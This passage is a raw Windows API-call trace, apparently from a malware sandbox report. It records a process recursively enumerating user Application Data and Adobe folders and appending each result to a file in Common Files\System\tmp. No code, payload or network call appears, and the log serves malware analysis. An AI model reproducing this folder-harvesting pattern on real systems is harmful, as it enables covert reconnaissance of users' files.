hFindFile=0x7d1770) returned 1 [0126.412] GetLastError () returned 0x12 [0126.412] AreFileApisANSI () returned 1 [0126.412] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.412] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0126.412] GetFileType (hFile=0x184) returned 0x1 [0126.412] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18bb50 | out: lpNewFilePointer=0x0) returned 1 [0126.412] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18bb9c | out: lpNewFilePointer=0x0) returned 1 [0126.413] WriteFile (in: hFile=0x184, lpBuffer=0x18a7dc*, nNumberOfBytesToWrite=0xd7, lpNumberOfBytesWritten=0x18a7bc, lpOverlapped=0x0 | out: lpBuffer=0x18a7dc*, lpNumberOfBytesWritten=0x18a7bc*=0xd7, lpOverlapped=0x0) returned 1 [0126.413] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0126.413] AreFileApisANSI () returned 1 [0126.413] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.413] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0126.413] GetFileType (hFile=0x188) returned 0x1 [0126.413] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b7f0 | out: lpNewFilePointer=0x0) returned 1 [0126.413] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b83c | out: lpNewFilePointer=0x0) returned 1 [0126.414] WriteFile (in: hFile=0x188, lpBuffer=0x18a47c*, nNumberOfBytesToWrite=0xdd, lpNumberOfBytesWritten=0x18a45c, lpOverlapped=0x0 | out: lpBuffer=0x18a47c*, lpNumberOfBytesWritten=0x18a45c*=0xdd, lpOverlapped=0x0) returned 1 [0126.414] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0126.414] AreFileApisANSI () returned 1 [0126.414] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.414] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0126.414] GetFileType (hFile=0x18c) returned 0x1 [0126.414] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b498 | out: lpNewFilePointer=0x0) returned 1 [0126.414] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b4e4 | out: lpNewFilePointer=0x0) returned 1 [0126.414] WriteFile (in: hFile=0x18c, lpBuffer=0x18a124*, nNumberOfBytesToWrite=0xe5, lpNumberOfBytesWritten=0x18a104, lpOverlapped=0x0 | out: lpBuffer=0x18a124*, lpNumberOfBytesWritten=0x18a104*=0xe5, lpOverlapped=0x0) returned 1 [0126.414] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0126.415] AreFileApisANSI () returned 1 [0126.415] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.415] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0126.415] GetFileType (hFile=0x190) returned 0x1 [0126.415] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b138 | out: lpNewFilePointer=0x0) returned 1 [0126.415] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b184 | out: lpNewFilePointer=0x0) returned 1 [0126.415] WriteFile (in: hFile=0x190, lpBuffer=0x189dc4*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x189da4, lpOverlapped=0x0 | out: lpBuffer=0x189dc4*, lpNumberOfBytesWritten=0x189da4*=0xea, lpOverlapped=0x0) returned 1 [0126.415] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0126.415] AreFileApisANSI () returned 1 [0126.415] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.415] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0126.416] GetFileType (hFile=0x194) returned 0x1 [0126.416] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18ade0 | out: lpNewFilePointer=0x0) returned 1 [0126.416] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18ae2c | out: lpNewFilePointer=0x0) returned 1 [0126.416] WriteFile (in: hFile=0x194, lpBuffer=0x189a6c*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x189a4c, lpOverlapped=0x0 | out: lpBuffer=0x189a6c*, lpNumberOfBytesWritten=0x189a4c*=0xf0, lpOverlapped=0x0) returned 1 [0126.416] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xecb5bdd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10, dwReserved1=0x887a08, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0126.416] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0126.416] GetLastError () returned 0x12 [0126.416] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0126.416] GetLastError () returned 0x12 [0126.416] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0126.416] GetLastError () returned 0x12 [0126.417] AreFileApisANSI () returned 1 [0126.417] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.417] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0126.417] GetFileType (hFile=0x18c) returned 0x1 [0126.417] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b498 | out: lpNewFilePointer=0x0) returned 1 [0126.417] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b4e4 | out: lpNewFilePointer=0x0) returned 1 [0126.417] WriteFile (in: hFile=0x18c, lpBuffer=0x18a124*, nNumberOfBytesToWrite=0xe3, lpNumberOfBytesWritten=0x18a104, lpOverlapped=0x0 | out: lpBuffer=0x18a124*, lpNumberOfBytesWritten=0x18a104*=0xe3, lpOverlapped=0x0) returned 1 [0126.417] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0126.417] AreFileApisANSI () returned 1 [0126.417] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.417] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0126.417] GetFileType (hFile=0x190) returned 0x1 [0126.418] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b138 | out: lpNewFilePointer=0x0) returned 1 [0126.418] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b184 | out: lpNewFilePointer=0x0) returned 1 [0126.418] WriteFile (in: hFile=0x190, lpBuffer=0x189dc4*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x189da4, lpOverlapped=0x0 | out: lpBuffer=0x189dc4*, lpNumberOfBytesWritten=0x189da4*=0xec, lpOverlapped=0x0) returned 1 [0126.418] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0126.418] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0126.418] GetLastError () returned 0x12 [0126.418] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0126.418] GetLastError () returned 0x12 [0126.418] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0126.418] GetLastError () returned 0x12 [0126.418] AreFileApisANSI () returned 1 [0126.418] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.418] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0126.419] GetFileType (hFile=0x188) returned 0x1 [0126.419] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b7f0 | out: lpNewFilePointer=0x0) returned 1 [0126.419] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b83c | out: lpNewFilePointer=0x0) returned 1 [0126.419] WriteFile (in: hFile=0x188, lpBuffer=0x18a47c*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x18a45c, lpOverlapped=0x0 | out: lpBuffer=0x18a47c*, lpNumberOfBytesWritten=0x18a45c*=0xe8, lpOverlapped=0x0) returned 1 [0126.419] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0126.419] AreFileApisANSI () returned 1 [0126.419] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.419] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0126.419] GetFileType (hFile=0x18c) returned 0x1 [0126.419] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b498 | out: lpNewFilePointer=0x0) returned 1 [0126.420] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b4e4 | out: lpNewFilePointer=0x0) returned 1 [0126.420] WriteFile (in: hFile=0x18c, lpBuffer=0x18a124*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x18a104, lpOverlapped=0x0 | out: lpBuffer=0x18a124*, lpNumberOfBytesWritten=0x18a104*=0xee, lpOverlapped=0x0) returned 1 [0126.420] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10, dwReserved1=0x837860, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0126.420] AreFileApisANSI () returned 1 [0126.420] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.420] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0126.420] GetFileType (hFile=0x190) returned 0x1 [0126.420] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b138 | out: lpNewFilePointer=0x0) returned 1 [0126.420] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b184 | out: lpNewFilePointer=0x0) returned 1 [0126.420] WriteFile (in: hFile=0x190, lpBuffer=0x189dc4*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x189da4, lpOverlapped=0x0 | out: lpBuffer=0x189dc4*, lpNumberOfBytesWritten=0x189da4*=0xf6, lpOverlapped=0x0) returned 1 [0126.421] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0126.421] AreFileApisANSI () returned 1 [0126.421] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.421] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0126.421] GetFileType (hFile=0x194) returned 0x1 [0126.421] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18ade0 | out: lpNewFilePointer=0x0) returned 1 [0126.421] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18ae2c | out: lpNewFilePointer=0x0) returned 1 [0126.421] WriteFile (in: hFile=0x194, lpBuffer=0x189a6c*, nNumberOfBytesToWrite=0xfb, lpNumberOfBytesWritten=0x189a4c, lpOverlapped=0x0 | out: lpBuffer=0x189a6c*, lpNumberOfBytesWritten=0x189a4c*=0xfb, lpOverlapped=0x0) returned 1 [0126.421] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0126.421] AreFileApisANSI () returned 1 [0126.422] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.422] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0126.422] GetFileType (hFile=0x198) returned 0x1 [0126.422] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18aa80 | out: lpNewFilePointer=0x0) returned 1 [0126.422] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18aacc | out: lpNewFilePointer=0x0) returned 1 [0126.422] WriteFile (in: hFile=0x198, lpBuffer=0x18970c*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0x1896ec, lpOverlapped=0x0 | out: lpBuffer=0x18970c*, lpNumberOfBytesWritten=0x1896ec*=0x101, lpOverlapped=0x0) returned 1 [0126.422] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xecb5bdd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0126.422] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0126.422] GetLastError () returned 0x12 [0126.422] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0126.422] GetLastError () returned 0x12 [0126.423] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0126.423] GetLastError () returned 0x12 [0126.423] AreFileApisANSI () returned 1 [0126.423] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.423] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0126.423] GetFileType (hFile=0x190) returned 0x1 [0126.423] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b138 | out: lpNewFilePointer=0x0) returned 1 [0126.423] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b184 | out: lpNewFilePointer=0x0) returned 1 [0126.423] WriteFile (in: hFile=0x190, lpBuffer=0x189dc4*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x189da4, lpOverlapped=0x0 | out: lpBuffer=0x189dc4*, lpNumberOfBytesWritten=0x189da4*=0xf4, lpOverlapped=0x0) returned 1 [0126.423] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0126.423] AreFileApisANSI () returned 1 [0126.423] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.424] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0126.424] GetFileType (hFile=0x194) returned 0x1 [0126.424] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, 